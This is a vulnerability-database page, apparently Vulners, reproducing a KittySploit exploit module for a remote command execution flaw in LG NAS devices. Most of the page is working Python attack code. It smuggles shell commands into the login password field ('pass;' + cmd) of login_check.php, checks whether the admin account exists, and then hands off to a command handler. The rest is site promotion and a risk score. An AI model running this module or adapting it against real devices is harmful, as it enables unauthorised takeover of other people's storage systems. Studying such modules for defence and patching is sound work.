Lucene search
+L

LG_NAS_3718.510.a0_RCE

🗓️ 19 Aug 2026 05:37:22Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 1 Views

LG-NAS Storage RCE in the web-based certificate generator feature.

Refs
Code
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""LG_NAS_3718.510.a0_RCE"""

import time

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler


class Module(Exploit, Http_client, Handler):
    __info__ = {
        'name': 'LG_NAS_3718.510.a0_RCE',
        'description': 'Module exploits LG-NAS Storage Remote Command Execution vulnerability in the web-based certificate generator feature.',
        'author': ['@0x616163', 'GH0st3rs'],
        
        'platform': Platform.LINUX,
        'payload': {'default': 'nopayload'},
        'references': ['https://www.vpnmentor.com/blog/critical-vulnerability-found-majority-lg-nas-devices/', 'https://www.exploit-db.com/exploits/45109'],
        'tags': ['iot', 'router', 'rce', 'unauth'],
        'agent': {
            'risk': 'intrusive',
            'effects': ['active_exploitation'],
            'expected_requests': 2,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'risk_signals'],
            'cost': 1.5,
            'noise': 0.5,
            'value': 1.0,
        },
    }

    target = OptIP("", "Target IPv4 or IPv6 address")
    port = OptPort(80, "Target HTTP port")

    def execute(self, cmd: str) -> str:
        parameters = OrderedDict([('op_mode', 'login'), ('id', 'admin'), ('password', 'pass;' + cmd), ('mobile', 'false')])
        response = self.http_request(
            method="POST", path="/en/php/login_check.php",
            data=parameters, timeout=0.5
        )
        if response and response.status_code == 200:
            return response.text
        return ''
    def check(self) -> bool:
        # Exploiting this vulnerability requires a valid user account
        # on the target NAS otherwise the vulnerable code is not executed
        parameters = OrderedDict([('op_mode', 'login'), ('id', 'admin'), ('password', 'pass'), ('mobile', 'false')])
        response = self.http_request(
            method="POST",
            path="/en/php/login_check.php",
            data=parameters
        )
        if response:
            if response.text == "NG:WRONG PASSWORD\n":
                print_status("Valid user found: admin for %s:%d", self.host, self.port)
                return {"vulnerable": True, "reason": "Check succeeded", "confidence": "medium"}
            if response and response.text == "NG:NO USER\n":
                print_status("User not found: admin for %s:%d", self.host, self.port)
        return {"vulnerable": False, "reason": "Check failed", "confidence": "medium"}

    def check_execute(self) -> bool:
        token = self.random_text(8)
        return token in (self.execute(f"echo {token}") or "")

    def run(self):
        if not self.check_execute():
            self.not_vulnerable()
            return False
        return self.handler_execute()

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

19 Aug 2026 05:37Current
5.9Medium risk
Vulners AI Score5.9
1